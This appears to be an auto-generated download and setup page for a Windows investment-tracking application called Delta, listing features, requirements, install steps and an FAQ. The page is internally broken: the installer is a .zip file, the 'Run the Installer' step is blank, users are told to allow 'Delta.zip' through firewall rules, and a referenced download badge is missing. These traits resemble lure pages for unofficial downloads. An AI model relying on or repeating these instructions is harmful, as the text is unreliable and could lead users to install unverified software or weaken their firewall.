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Delta Investment Tracker Desktop Application — Download & Setup Guide
Version: 2025.2.0 | License: Free (Pro subscription available) | Platform: Windows 10/11 x64 | SHA-256:
a989a0146e826cd3797e38cf29cbcf8870ec2cceea50541e3eee1f933ede0cb9
Overview
Delta Investment Tracker is a multi-asset portfolio management application for Windows 10/11 x64, designed for investors who hold diversified portfolios across stocks, cryptocurrencies, ETFs, mutual funds, and derivatives. The desktop client provides real-time portfolio valuation, performance analytics, and transaction management.
Delta supports manual transaction entry, CSV/Excel import from brokers, and API sync with 300+ brokers and exchanges worldwide (Interactive Brokers, Robinhood, Coinbase, Binance, TD Ameritrade). The application uses a local SQLite database for transaction history with optional encrypted cloud backup.
The desktop client features advanced portfolio analytics including time-weighted return (TWR), money-weighted return (MWR), Sharpe ratio, Sortino ratio, maximum drawdown, and asset allocation analysis. The application also supports multi-currency portfolios with automatic forex conversion via real-time exchange rates.
Key Features
- Multi-Asset Support — Track stocks, cryptocurrencies, ETFs, mutual funds, options, futures, forex, and NFTs in a unified portfolio.
- 300+ Broker & Exchange Sync — Connect to Interactive Brokers, Robinhood, Coinbase, Binance, TD Ameritrade, and 300+ additional brokers via API or CSV import.
- Real-Time Portfolio Valuation — Live portfolio valuation with real-time price updates for all supported assets via Yahoo Finance, CoinGecko, and Alpha Vantage APIs.
- Advanced Performance Analytics — Time-weighted return (TWR), money-weighted return (MWR), Sharpe ratio, Sortino ratio, maximum drawdown, and alpha/beta analysis.
- Transaction Management — Manual transaction entry, CSV/Excel import, and automatic dividend/interest tracking with cost basis calculation (FIFO, LIFO, HIFO).
- Multi-Currency Support — Track assets in multiple currencies with automatic forex conversion and currency-specific P&L reporting.
- Custom Alerts & Notifications — Price alerts, portfolio performance alerts, and dividend notifications with push and email delivery.
- Tax Reporting — Generate tax reports for capital gains, dividends, and interest income. Supports multiple tax jurisdictions and accounting methods.
- Multi-Device Sync — Sync portfolio across desktop, mobile (iOS/Android), and web with end-to-end encrypted cloud backup.
- API & Webhook Integration — REST API and webhook support for custom tool development, automated reporting, and third-party integration.
System Requirements
| Component | Minimum | Recommended |
|---|---|---|
| OS | Windows 10 x64 (21H2) | Windows 11 x64 (23H2/24H2) |
| Processor | Intel Core i3 / AMD Ryzen 3 | Intel Core i5 / AMD Ryzen 5 |
| RAM | 4 GB | 8 GB |
| Storage | 500 MB free disk space | 1 GB SSD |
| Display | 1280x720 | 1920x1080 or higher |
| Network | Broadband (5 Mbps) | Broadband (25+ Mbps) for real-time data |
How to Download and Install
Step 1: Download the Installer
Click the Download badge above to visit the official Delta download page (delta.app). Select Windows (.zip). The file is approximately 80 MB.
Step 2: Verify the Checksum
Get-FileHash .\delta-investment-tracker-2025.2.0-x64.zip -Algorithm SHA256
Compare with the hash listed at the top of this page.
Step 3: Run the Installer
Step 4: Complete Setup
- Launch Delta and create an account (or log in if you already have one).
- Add your first transaction: Portfolio → Add Transaction → Select asset → Enter details.
- Sync with your broker: Settings → Connections → Add Broker → Enter API credentials.
- Configure your base currency: Settings → General → Base Currency.
- Set up alerts: Alerts → Create Alert → Select asset → Set condition.
Step 5: Post-Installation
- Enable “Two-Factor Authentication” for your Delta account.
- Configure “Auto-Sync” for connected brokers.
- Set up “Dividend Tracking” for your stock holdings.
- Enable “Price Alert Notifications” in Windows Settings → Notifications.
Troubleshooting & FAQ
Issue: Broker sync fails
Solution:
- Verify API credentials are correct.
- Ensure the broker supports API access (some brokers require a paid subscription).
- Check internet connection.
- Disable VPN if not required by the broker.
- Check Windows Firewall: allow Delta.zip through inbound/outbound rules.
Issue: Portfolio valuation incorrect
Solution:
- Verify transaction history is complete and accurate.
- Check that the correct price source is selected for each asset.
- Ensure the base currency is correctly set.
- Refresh price data: Settings → General → Refresh Prices.
FAQ
Q: Is Delta Investment Tracker free?
A: Yes. Delta is free to download and use. A Pro subscription ($4.99/month) unlocks unlimited connections, advanced analytics, and priority support.
Q: Which brokers are supported?
A: Interactive Brokers, Robinhood, Coinbase, Binance, TD Ameritrade, and 300+ additional brokers and exchanges.
Q: Can I track crypto and stocks together?
A: Yes. Delta supports multi-asset portfolios including stocks, crypto, ETFs, mutual funds, options, and forex.
Q: Is my portfolio data secure?
A: Yes. Portfolio data is stored locally with AES-256 encryption. Cloud backup is end-to-end encrypted. Delta never has access to your broker credentials.
Q: Can I export my portfolio data?
A: Yes. You can export transactions to CSV, Excel, or JSON. Tax reports are available in PDF format.